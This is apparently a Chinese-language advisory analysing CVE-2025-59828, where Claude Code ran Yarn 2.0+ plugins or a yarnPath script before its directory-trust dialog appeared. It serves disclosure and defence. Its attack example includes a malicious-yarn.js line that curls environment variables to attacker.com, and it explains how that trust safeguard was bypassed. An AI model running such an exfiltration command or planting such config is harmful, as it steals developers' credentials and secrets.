CVE-2025-59828:Claude Code 插件自动加载机制绕过信任对话框安全分析
CVE-2025-59828:Claude Code 插件自动加载机制绕过信任对话框安全分析
一、漏洞概述
| 项目 | 内容 |
|---|---|
| CVE ID | CVE-2025-59828 |
| GHSA ID | GHSA-2jjv-qf24-vfm4 |
| CVSS 4.0 | 8.7(高危) |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-829(包含来自不受信任控制范围的功能)、CWE-862(缺失授权) |
| 影响版本 | @anthropic-ai/claude-code < 1.0.39 |
| 修复版本 | ≥ 1.0.39 |
| 披露时间 | 2025-09-24 |
| 报告者 | Benjamin Faller(Redguard AG)、Michael Hess |
本漏洞源于 Claude Code 在调用外部工具时,未能正确遵守用户设置的目录信任策略。当项目目录下存在 Yarn 2.0+ 配置文件时,Claude Code 在执行版本检测等辅助命令时,会触发 Yarn 插件的自动加载机制,导致插件代码在用户确认目录信任之前就已执行,绕过了沙箱的安全边界。
二、技术根因分析
2.1 Yarn 2.0+ 插件自动加载机制
Yarn 2.0 及之后版本引入了 Plug'n'Play(PnP)特性,支持通过 .yarnrc.yml 或 package.json 中的 yarnPath 字段指定自定义 Yarn 可执行文件路径。更关键的是,Yarn 2.0+ 在执行 yarn --version 等命令时,会自动加载项目目录下配置的插件(通过 .pnp.cjs 或插件注册表)。
攻击者只需在项目中植入恶意的 .yarnrc.yml 或插件配置,即可利用这一机制执行任意代码。
2.2 Claude Code 的信任对话框机制
Claude Code 实现了目录级信任机制,用户首次在非信任目录下启动时,会弹出信任确认对话框,要求用户明确授权后再执行可能产生风险的操作(如写文件、执行命令)。
问题出在:Claude Code 在执行辅助命令(如 yarn --version 进行依赖版本探测)时,这些命令的触发时机早于信任对话框的确认流程。也就是说:
- 用户启动 Claude Code 进入某目录
- Claude Code 执行辅助命令(版本探测、环境检测)
- Yarn 2.0+ 在执行
yarn --version时自动加载插件 - 插件代码执行(绕过了信任对话框)
- 信任对话框弹出(已太迟)
2.3 攻击向量
攻击者构造恶意的项目文件结构:
# .yarnrc.yml
yarnPath: ./malicious-yarn.js
# package.json
{
"name": "innocent-look-project",
"version": "1.0.0"
}
# malicious-yarn.js
#!/usr/bin/env node
// 执行任意恶意代码
require('child_process').exec('curl http://attacker.com/exfil?data=$(env)');
当 Claude Code 用户进入该目录并执行任何操作(如询问代码、运行测试),Claude Code 自动执行的辅助命令会触发 yarn --version,从而执行攻击者植入的恶意代码。
三、漏洞危害评估
| 安全维度 | 影响 |
|---|---|
| 机密性 | 高:可窃取环境变量、凭据、SSH 密钥、项目代码 |
| 完整性 | 高:可修改系统文件、植入后门、篡改项目代码 |
| 可用性 | 高:可破坏依赖关系、删除文件、导致开发环境不可用 |
| 利用门槛 | 低:只需诱导用户在攻击者准备的目录下启动 Claude Code |
四、影响版本
| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
| @anthropic-ai/claude-code | < 1.0.39 | ≥ 1.0.39 |
注:Yarn Classic(1.x)不受此漏洞影响,因为其不具备插件自动加载机制。
五、修复建议
5.1 紧急处置(立即执行)
升级 Claude Code 至 1.0.39 及以上版本:
# 通过 npm 更新
npm update -g @anthropic-ai/claude-code
# 验证版本
claude --version
使用自动更新机制的用户已自动接收修复,无需手动操作。
5.2 根本修复
- 将 Claude Code 升级至最新稳定版本
- 使用手动更新的用户需主动检查并升级
5.3 长期加固
- 在企业环境中,限制开发人员从非授信来源拉取代码后直接使用 Claude Code
- 在
~/.claude/settings.json中配置可信目录白名单 - 对第三方开源项目执行
git clone后,先检查是否存在异常的.yarnrc.yml、yarnPath等配置,再使用 Claude Code 等工具处理
六、漏洞检测
6.1 版本检测
# 检查当前 Claude Code 版本
claude --version
# 或
npm list -g @anthropic-ai/claude-code
# 若版本 < 1.0.39,则存在漏洞
6.2 项目排查
检查本地项目中是否存在异常的 Yarn 配置:
# 检查 yarnPath 配置
grep -r "yarnPath" .yarnrc.yml .yarnrc package.json 2>/dev/null
# 检查 yarn 插件配置
cat .pnp.cjs | grep "plugin" | head -20
# 检查 .yarn 目录
ls -la .yarn/ 2>/dev/null
七、总结
| 维度 | 结论 |
|---|---|
| 漏洞类型 | 信任边界绕过(CWE-829 + CWE-862) |
| 严重程度 | 高危(CVSS 4.0: 8.7) |
| 利用条件 | 低,需要用户在恶意项目目录下启动 Claude Code |
| 修复难度 | 低,升级至最新版本即可 |
| 防护优先级 | 高,建议立即升级 |
本漏洞的核心风险在于第三方代码供应链中的恶意配置利用。随着 AI 编程辅助工具的普及,攻击者正在将攻击面从传统应用扩展到开发者工具链。建议安全团队将 AI 编程工具纳入软件供应链安全审计范围,对引入的代码库进行必要的配置检查。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)